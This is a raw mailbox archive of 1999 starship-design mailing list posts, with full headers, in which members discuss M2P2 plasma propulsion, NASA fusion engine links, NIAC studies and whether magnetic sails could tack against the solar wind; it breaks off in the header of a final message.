imo28.mx.aol.com (imo28.mx.aol.com [198.81.17.72]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA25819 for ; Mon, 30 Aug 1999 16:19:59 -0700 (PDT) Received: from KellySt@aol.com by imo28.mx.aol.com (mail_out_v22.4.) id zXWJa22755 (4413) for ; Mon, 30 Aug 1999 19:18:49 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_c1e0cd7e.24fc6b59_boundary"" X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Fwd: RE: starship-design: Space Transportation Programs Date: Mon, 30 Aug 1999 19:18:49 EDT --part1_c1e0cd7e.24fc6b59_boundary Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit --part1_c1e0cd7e.24fc6b59_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-zc02.mx.aol.com (rly-zc02.mail.aol.com [172.31.33.2]) by air-zc04.mail.aol.com (v60.28) with ESMTP; Mon, 30 Aug 1999 09:43:50 -0400 Received: from bastion3.mail.sprint.com (bastion3.mail.sprint.com [208.4.28.131]) by rly-zc02.mx.aol.com (v60.28) with ESMTP; Mon, 30 Aug 1999 09:43:39 -0400 Received: from sii01.mail.sprint.com by bastion3.mail.sprint.com with ESMTP for KellySt@aol.com; Mon, 30 Aug 1999 08:43:38 -0500 Received: from [144.223.128.84] by sii01.mail.sprint.com with ESMTP; Mon, 30 Aug 1999 08:43:37 -0500 Received: from kcopmp02.corp.sprint.com (root@kcopmp02 [144.223.26.114]) by kcopmh01.corp.sprint.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id IAA04077 for ; Mon, 30 Aug 1999 08:43:36 -0500 (CDT) From: kelly g starks Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id IAA06803 for ; Mon, 30 Aug 1999 08:43:35 -0500 (CDT) X-OpenMail-Hops: 1 Date: Mon, 30 Aug 1999 08:43:35 -0500 Message-Id: Subject: RE: starship-design: Space Transportation Programs TO: KellySt@aol.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""openmail-part-0441b17a-00000001"" --openmail-part-0441b17a-00000001 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: quoted-printable definitely good site, odd that they have added this new address rather then the NASA center URL for that group. PR I guess. Kelly -----Original Message----- From: KellySt [SMTP:KellySt@aol.com] Sent: Saturday, August 28, 1999 9:08 PM To: starship-design Cc: lparker Subject: starship-design: Space Transportation Programs =20 Here is a really neat site with lots of graphics. =20 http://www.highway2space.com/ =20 Lee Parker =20 =20 --openmail-part-0441b17a-00000001-- --part1_c1e0cd7e.24fc6b59_boundary-- >From VM Mon Aug 30 16:21:26 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1956"" ""Monday"" ""30"" ""August"" ""1999"" ""19:18:51"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""34"" ""starship-design: Mini-Magnetospheric Plasma Propulsion, M2P2 , system"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1956 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA25951 for starship-design-outgoing; Mon, 30 Aug 1999 16:20:16 -0700 (PDT) Received: from imo23.mx.aol.com (imo23.mx.aol.com [198.81.17.67]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA25945 for ; Mon, 30 Aug 1999 16:20:15 -0700 (PDT) Received: from KellySt@aol.com by imo23.mx.aol.com (mail_out_v22.4.) id zLWCa22963 (4413) for ; Mon, 30 Aug 1999 19:18:52 -0400 (EDT) Message-ID: <11c764ce.24fc6b5b@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Mini-Magnetospheric Plasma Propulsion, M2P2 , system Date: Mon, 30 Aug 1999 19:18:51 EDT I wonder if this could be used effectively as an interstellar break? Nothing in the paper talks about effective ISP or power consumption vrs thrust. Kelly http://peaches.niac.usra.edu/studies/9801/winglee.html The Mini-Magnetospheric Plasma Propulsion, M2P2 , system provides a revolutionary means for spacecraft propulsion that can efficiently utilize the energy from the space plasmas to accelerate payloads to much higher speeds than can be attained by present chemical (oxidizing propulsion systems. The system utilizes an innovative configuration of existing technology based on well established principles of plasma physics. It has the potential of feasibly providing cheap, fast propulsion that could power Interstellar Probe, as well as powering payloads that would be required for a manned mission to Mars. As such the proposed work for missions out of the solar system and between the planets. The project is interdisciplinary involving space science, plasma engineering, and aeronautics and space transportation, which are key components of NIAC's program. The M2P2 system utilizes low energy plasma to transport or inflate a magnetic field beyond the typical scale lengths that can be supported by a standard solenoid magnetic field coil. In space, the inflated magnetic field can be used to reflect high speed (400 - 1000 km/s) solar wind particles and attain unprecedented acceleration for a power input of only a few kW which can be easily achieved by solar electric units. Our initial estimates for a minimum system can provide a typical thrust of about 3 Newton continuous (0.6 MW continuous power), with a specific impulse of 104 to 105s) to produce an increase in speed of about 30 km/s in a period of 3 months. Proposed optimization could allow the development of system that increase the acceleration with less expenditure of fuel so that a mission could leave the solar system could become a reality. >From VM Mon Aug 30 16:21:26 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4566"" ""Monday"" ""30"" ""August"" ""1999"" ""19:18:47"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""150"" ""Fwd: RE: starship-design: Plasma/Fusion Engines"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 4566 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA25758 for starship-design-outgoing; Mon, 30 Aug 1999 16:19:53 -0700 (PDT) Received: from imo24.mx.aol.com (imo24.mx.aol.com [198.81.17.68]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA25753 for ; Mon, 30 Aug 1999 16:19:52 -0700 (PDT) Received: from KellySt@aol.com by imo24.mx.aol.com (mail_out_v22.4.) id zKPYa14800 (4413) for ; Mon, 30 Aug 1999 19:18:48 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_f3e10f39.24fc6b57_boundary"" X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Fwd: RE: starship-design: Plasma/Fusion Engines Date: Mon, 30 Aug 1999 19:18:47 EDT --part1_f3e10f39.24fc6b57_boundary Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In a message dated 8/30/99 9:20:43 AM, kelly.g.starks@mail.sprint.com writes: >I've seen a couple comments and proposals by NASA showing they are > >seriously looking into fusion system. They realize chemical propulsion > >is to limited, and nuclear is to politically unpopular. > > > >Kelly > > > > > > -----Original Message----- > > From: KellySt [SMTP:KellySt@aol.com] > > Sent: Saturday, August 21, 1999 8:22 AM > > To: starship-design > > Cc: lparker > > Subject: starship-design: Plasma/Fusion Engines > > > > Here is a link to a plasma/fusion engine under development by > > NASA.... > > > > http://infinity.msfc.nasa.gov/Public/ps01/fusion_exp.html > > > > > > Lee Parker > > > > > > > >----------------------- Headers -------------------------------- >Return-Path: >Received: from rly-za05.mx.aol.com (rly-za05.mail.aol.com [172.31.36.101]) >by air-za01.mail.aol.com (v60.28) with ESMTP; Mon, 30 Aug 1999 10:20:43 >-0400 >Received: from bastion3.mail.sprint.com (bastion3.mail.sprint.com [208.4.28.131]) >by rly-za05.mx.aol.com (v60.28) with ESMTP; Mon, 30 Aug 1999 10:20:33 -0400 >Received: from sii01.mail.sprint.com by bastion3.mail.sprint.com with ESMTP >for KellySt@aol.com; Mon, 30 Aug 1999 09:20:32 -0500 >Received: from [144.223.128.84] by sii01.mail.sprint.com with ESMTP; Mon, >30 Aug 1999 09:17:25 -0500 >Received: from kcopmp02.corp.sprint.com (root@kcopmp02 [144.223.26.114]) > by kcopmh01.corp.sprint.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id JAA12423 > for ; Mon, 30 Aug 1999 09:17:24 -0500 (CDT) >From: kelly g starks >Received: from localhost (root@localhost) > by kcopmp02.corp.sprint.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id JAA22358 > for ; Mon, 30 Aug 1999 09:17:23 -0500 (CDT) >X-OpenMail-Hops: 1 >Date: Mon, 30 Aug 1999 09:17:22 -0500 >Message-Id: >Subject: RE: starship-design: Plasma/Fusion Engines >TO: KellySt@aol.com >MIME-Version: 1.0 >Content-Type: multipart/mixed; > boundary=""openmail-part-04425c32-00000001"" > --part1_f3e10f39.24fc6b57_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-za05.mx.aol.com (rly-za05.mail.aol.com [172.31.36.101]) by air-za01.mail.aol.com (v60.28) with ESMTP; Mon, 30 Aug 1999 10:20:43 -0400 Received: from bastion3.mail.sprint.com (bastion3.mail.sprint.com [208.4.28.131]) by rly-za05.mx.aol.com (v60.28) with ESMTP; Mon, 30 Aug 1999 10:20:33 -0400 Received: from sii01.mail.sprint.com by bastion3.mail.sprint.com with ESMTP for KellySt@aol.com; Mon, 30 Aug 1999 09:20:32 -0500 Received: from [144.223.128.84] by sii01.mail.sprint.com with ESMTP; Mon, 30 Aug 1999 09:17:25 -0500 Received: from kcopmp02.corp.sprint.com (root@kcopmp02 [144.223.26.114]) by kcopmh01.corp.sprint.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id JAA12423 for ; Mon, 30 Aug 1999 09:17:24 -0500 (CDT) From: kelly g starks Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id JAA22358 for ; Mon, 30 Aug 1999 09:17:23 -0500 (CDT) X-OpenMail-Hops: 1 Date: Mon, 30 Aug 1999 09:17:22 -0500 Message-Id: Subject: RE: starship-design: Plasma/Fusion Engines TO: KellySt@aol.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""openmail-part-04425c32-00000001"" --openmail-part-04425c32-00000001 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: quoted-printable I've seen a couple comments and proposals by NASA showing they are seriously looking into fusion system. They realize chemical propulsion is to limited, and nuclear is to politically unpopular. Kelly -----Original Message----- From: KellySt [SMTP:KellySt@aol.com] Sent: Saturday, August 21, 1999 8:22 AM To: starship-design Cc: lparker Subject: starship-design: Plasma/Fusion Engines =20 Here is a link to a plasma/fusion engine under development by NASA.... =20 http://infinity.msfc.nasa.gov/Public/ps01/fusion_exp.html =20 =20 Lee Parker =20 =20 --openmail-part-04425c32-00000001-- --part1_f3e10f39.24fc6b57_boundary-- >From VM Mon Aug 30 16:29:20 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""711"" ""Monday"" ""30"" ""August"" ""1999"" ""19:25:31"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""23"" ""RE: starship-design: Funded Phase I Studies"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 711 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA29422 for starship-design-outgoing; Mon, 30 Aug 1999 16:27:46 -0700 (PDT) Received: from imo19.mx.aol.com (imo19.mx.aol.com [198.81.17.9]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA29407 for ; Mon, 30 Aug 1999 16:27:44 -0700 (PDT) Received: from KellySt@aol.com by imo19.mx.aol.com (mail_out_v22.4.) id zCZAa06251 (4413) for ; Mon, 30 Aug 1999 19:25:31 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Funded Phase I Studies Date: Mon, 30 Aug 1999 19:25:31 EDT The high density antimatter store proposal is interesting too. No detail in the paper, but hopefully they have useful concepts. The EST concept was wild. Storing power in magnetic fields? If it works, this could be big. Kelly -----Original Message----- From: KellySt [SMTP:KellySt@aol.com] Sent: Saturday, August 21, 1999 9:02 AM To: starship-design Cc: lparker Subject: starship-design: Funded Phase I Studies LOTS of abstracts on current propulsion and power research, including the M2P2 paper and the EST paper... http://peaches.niac.usra.edu/studies/9801/index.html Lee Parker << File: Funded Phase I Studies.url >> >From VM Tue Aug 31 09:54:51 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""968"" ""Tuesday"" ""31"" ""August"" ""1999"" ""11:00:50"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""21"" ""Re: starship-design: Mini-Magnetospheric Plasma Propulsion, M2P2 , system"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 968 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id JAA06608 for starship-design-outgoing; Tue, 31 Aug 1999 09:52:49 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id JAA06600 for ; Tue, 31 Aug 1999 09:52:48 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin35.jetnet.ab.ca [207.153.6.35]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id KAA28488; Tue, 31 Aug 1999 10:52:36 -0600 (MDT) Message-ID: <37CC0A42.AE90644D@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: <11c764ce.24fc6b5b@aol.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""Richard P. Doran Sr."" , ""starship-design@lists.uoregon.edu"" Subject: Re: starship-design: Mini-Magnetospheric Plasma Propulsion, M2P2 , system Date: Tue, 31 Aug 1999 11:00:50 -0600 KellySt@aol.com wrote: > > I wonder if this could be used effectively as an interstellar break? Nothing > in the paper talks about effective ISP or power consumption vrs thrust. > > Kelly > > http://peaches.niac.usra.edu/studies/9801/winglee.html > > The Mini-Magnetospheric Plasma Propulsion, M2P2 , system provides a > revolutionary means for spacecraft propulsion that can efficiently utilize > the energy from the space plasmas to accelerate payloads to much higher > speeds than can be attained by present chemical (oxidizing propulsion > systems. The system utilizes an innovative configuration of existing > technology based on well established principles of plasma physics. It has the > potential of feasibly providing cheap, fast propulsion that could power > Interstellar Probe. Sounds like we found the IMPULSE drive of star trek type space craft. If the plasma propulsion idea can be expanded into a real interstellar ramjet, next stop the planets. >From VM Tue Aug 31 14:25:47 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""178"" ""Tuesday"" ""31"" ""August"" ""1999"" ""17:18:59"" ""EDT"" ""LeoSusanto@aol.com"" ""LeoSusanto@aol.com"" nil ""3"" ""starship-design: M2P2"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 178 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA23685 for starship-design-outgoing; Tue, 31 Aug 1999 14:19:41 -0700 (PDT) Received: from imo28.mx.aol.com (imo28.mx.aol.com [198.81.17.72]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA23676 for ; Tue, 31 Aug 1999 14:19:40 -0700 (PDT) Received: from LeoSusanto@aol.com by imo28.mx.aol.com (mail_out_v22.4.) id zICBa22755 (15553) for ; Tue, 31 Aug 1999 17:18:59 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL NetMail version 2.0 Precedence: bulk Reply-To: LeoSusanto@aol.com From: LeoSusanto@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: M2P2 Date: Tue, 31 Aug 1999 17:18:59 EDT the M2P2 can be served as a propulsion to move a payload out of out solar system or to the planets in the solar system, but how about getting a payload into a solar system? Leo >From VM Tue Aug 31 14:30:34 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""375"" ""Tuesday"" ""31"" ""August"" ""1999"" ""14:26:15"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""12"" ""Re: starship-design: M2P2"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 375 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA24978 for starship-design-outgoing; Tue, 31 Aug 1999 14:26:18 -0700 (PDT) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA24972 for ; Tue, 31 Aug 1999 14:26:17 -0700 (PDT) Received: from dante38.u.washington.edu (nlindber@dante38.u.washington.edu [140.142.15.198]) by jason02.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA28098; Tue, 31 Aug 1999 14:26:16 -0700 Received: from localhost (nlindber@localhost) by dante38.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA145896; Tue, 31 Aug 1999 14:26:16 -0700 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: LeoSusanto@aol.com cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: M2P2 Date: Tue, 31 Aug 1999 14:26:15 -0700 (PDT) Leo, Maybe point yrself in the direction of the star, accelerate until the heliopause, coast, and decelerate in the target system? Nels On Tue, 31 Aug 1999 LeoSusanto@aol.com wrote: > the M2P2 can be served as a propulsion to move a payload out of out solar system or to the planets in the solar system, but how about getting a payload into a solar system? > > Leo > >From VM Wed Sep 1 10:18:17 1999 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""940"" ""Wednesday"" ""1"" ""September"" ""1999"" ""18:28:43"" ""+1000"" ""Adam Crowl"" ""adam@crowl.webcentral.com.au"" ""<001701bef454$0b211420$b9c593cb@oemcomputer>"" ""18"" ""starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 940 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id KAA27790 for starship-design-outgoing; Wed, 1 Sep 1999 10:15:25 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id KAA27782 for starship-design@lists.uoregon.edu; Wed, 1 Sep 1999 10:15:24 -0700 (PDT) Received: from enterprise.powerup.com.au (IDENT:qmailr@enterprise.powerup.com.au [203.32.8.37]) by darkwing.uoregon.edu (8.9.3/8.9.3) with SMTP id BAA26584 for ; Wed, 1 Sep 1999 01:28:32 -0700 (PDT) Received: (qmail 7227 invoked from network); 1 Sep 1999 08:28:22 -0000 Received: from unknown (HELO oemcomputer) (203.147.197.185) by enterprise.powerup.com.au with SMTP; 1 Sep 1999 08:28:22 -0000 Message-ID: <001701bef454$0b211420$b9c593cb@oemcomputer> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk Reply-To: ""Adam Crowl"" From: ""Adam Crowl"" Sender: owner-starship-design@lists.uoregon.edu To: ""starship design"" Subject: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 1 Sep 1999 18:28:43 +1000 Hi SD The system seems to have a lot of potential within this system but as an interstellar drive it's pretty pitiful except for missions to the solar focus at 550 AU or so. It's maximum velocity is limited to the speed of the solar wind which is only 500-1000 km/s, so it'd be a long time between stars unless you had a secondary drive or a working ramscoop. A better system would be a magneto-sail pushed up to interstellar speeds by a massive particle beam. Powered by fusion it'd push the costs of probe launches way down since it'd only take a few hours at a time to accelerate probes up to ~ 0.3c or so. I think all this has been discussed before and the basic design settled on involves a lithium-fusor launched via a beam/laser to 0.3c [?], boosted to 0.4c by fusors and deccelerated by a mag-sail. Still the mini-magnetosphere will make possible some cheap and fast non-nuclear OutPlanet missions, so more power to them!!! Adam >From VM Wed Sep 1 11:20:07 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1127"" ""Wednesday"" ""1"" ""September"" ""1999"" ""12:25:51"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""22"" ""Re: starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1127 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id LAA16534 for starship-design-outgoing; Wed, 1 Sep 1999 11:17:31 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id LAA16527 for ; Wed, 1 Sep 1999 11:17:29 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin48.jetnet.ab.ca [207.153.6.48]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id MAA22909 for ; Wed, 1 Sep 1999 12:17:27 -0600 (MDT) Message-ID: <37CD6FAE.532F4B04@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: <001701bef454$0b211420$b9c593cb@oemcomputer> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship design Subject: Re: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 01 Sep 1999 12:25:51 -0600 Adam Crowl wrote: > > Hi SD > > The system seems to have a lot of potential within this system but as an > interstellar drive it's pretty pitiful except for missions to the solar > focus at 550 AU or so. It's maximum velocity is limited to the speed of the > solar wind which is only 500-1000 km/s, so it'd be a long time between stars > unless you had a secondary drive or a working ramscoop. A better system > would be a magneto-sail pushed up to interstellar speeds by a massive > particle beam. Powered by fusion it'd push the costs of probe launches way > down since it'd only take a few hours at a time to accelerate probes up to ~ > 0.3c or so. I think all this has been discussed before and the basic design > settled on involves a lithium-fusor launched via a beam/laser to 0.3c [?], > boosted to 0.4c by fusors and deccelerated by a mag-sail. > So what happened to the tacking into the wind, for the return trip home. A insystem ram scoop is a good idea -- ----------------------------------------------------------------- ""Everything should be made as simple as possible, but not simpler."" Albert Einstein >From VM Wed Sep 1 11:35:39 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""929"" ""Wednesday"" ""1"" ""September"" ""1999"" ""11:32:57"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""17"" ""Re: starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 929 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id LAA20629 for starship-design-outgoing; Wed, 1 Sep 1999 11:32:50 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id LAA20624 for ; Wed, 1 Sep 1999 11:32:49 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by clavin.efn.org (8.9.3/8.9.3) with ESMTP id LAA11322 for ; Wed, 1 Sep 1999 11:32:46 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.9.3/8.9.3) id LAA05344; Wed, 1 Sep 1999 11:32:58 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14285.29017.441091.294521@tzadkiel.efn.org> In-Reply-To: <37CD6FAE.532F4B04@jetnet.ab.ca> References: <001701bef454$0b211420$b9c593cb@oemcomputer> <37CD6FAE.532F4B04@jetnet.ab.ca> X-Mailer: VM 6.75 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 1 Sep 1999 11:32:57 -0700 (PDT) Ben Franchuk writes: > So what happened to the tacking into the wind, for the return trip home. > A insystem ram scoop is a good idea -- Tacking works in water sailing because a boat is resistant to moving sideways through the water. When you tack the wind on the sail produces a sideways thrust component that is strongly resisted by the boat's orientation in the water and a forward component that isn't, so the boat makes net forward motion (especially if you zig-zag). Unfortunately that isn't a property of spaceships, so they can't tack. There's a certain amount you can do if the spaceship is already in orbit around the star; you can arbitrarily raise or lower the spaceship's orbit using a sail to produce thrust components with or against the ship's orbital motion. But you can't accelerate a ship towards the star with the sail any better than just furling the sail and letting the star's gravity pull you in. >From VM Wed Sep 1 12:00:51 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1777"" ""Wednesday"" ""1"" ""September"" ""1999"" ""13:05:30"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""40"" ""Re: starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1777 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id LAA27492 for starship-design-outgoing; Wed, 1 Sep 1999 11:57:12 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id LAA27476 for ; Wed, 1 Sep 1999 11:57:11 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin47.jetnet.ab.ca [207.153.6.47]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id MAA25380 for ; Wed, 1 Sep 1999 12:57:06 -0600 (MDT) Message-ID: <37CD78FA.D0AE0172@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: <001701bef454$0b211420$b9c593cb@oemcomputer> <37CD6FAE.532F4B04@jetnet.ab.ca> <14285.29017.441091.294521@tzadkiel.efn.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 01 Sep 1999 13:05:30 -0600 Steve VanDevender wrote: > > Ben Franchuk writes: > > So what happened to the tacking into the wind, for the return trip home. > > A insystem ram scoop is a good idea -- > > Tacking works in water sailing because a boat is resistant to > moving sideways through the water. When you tack the wind on the > sail produces a sideways thrust component that is strongly > resisted by the boat's orientation in the water and a forward > component that isn't, so the boat makes net forward motion > (especially if you zig-zag). Unfortunately that isn't a property > of spaceships, so they can't tack. There's a certain amount you > can do if the spaceship is already in orbit around the star; you > can arbitrarily raise or lower the spaceship's orbit using a sail > to produce thrust components with or against the ship's orbital > motion. But you can't accelerate a ship towards the star with > the sail any better than just furling the sail and letting the > star's gravity pull you in. The whole topic of the disscussion started because of tapping into the solar wind. 1) Solar wind 2) Magnetic sail ]--------------------------------------------------- ]------------------------#-------------------------- wind sun ]-----------------------#--------------------------- ]----------------------#--sail#1-------------------- ]----------------------#########---sail#2----------- So you add a second sail to provide your sideways resistance. Problem solved I think. what about the ship designs that use a wind driven upright turbine that turns the propeller of the ship? can that be adapted here? -- ----------------------------------------------------------------- ""Everything should be made as simple as possible, but not simpler."" Albert Einstein >From VM Wed Sep 1 14:58:40 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1280"" ""Wednesday"" ""1"" ""September"" ""1999"" ""17:38:26"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""31"" ""Re: starship-design: Mini-Magnetospheric Plasma Propulsion, M2P2 , system"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1280 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA15028 for starship-design-outgoing; Wed, 1 Sep 1999 14:40:37 -0700 (PDT) Received: from imo24.mx.aol.com (imo24.mx.aol.com [198.81.17.68]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA14944 for ; Wed, 1 Sep 1999 14:40:26 -0700 (PDT) Received: from KellySt@aol.com by imo24.mx.aol.com (mail_out_v22.4.) id zVMWa14800 (4412) for ; Wed, 1 Sep 1999 17:38:26 -0400 (EDT) Message-ID: <70aa8369.24fef6d2@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" 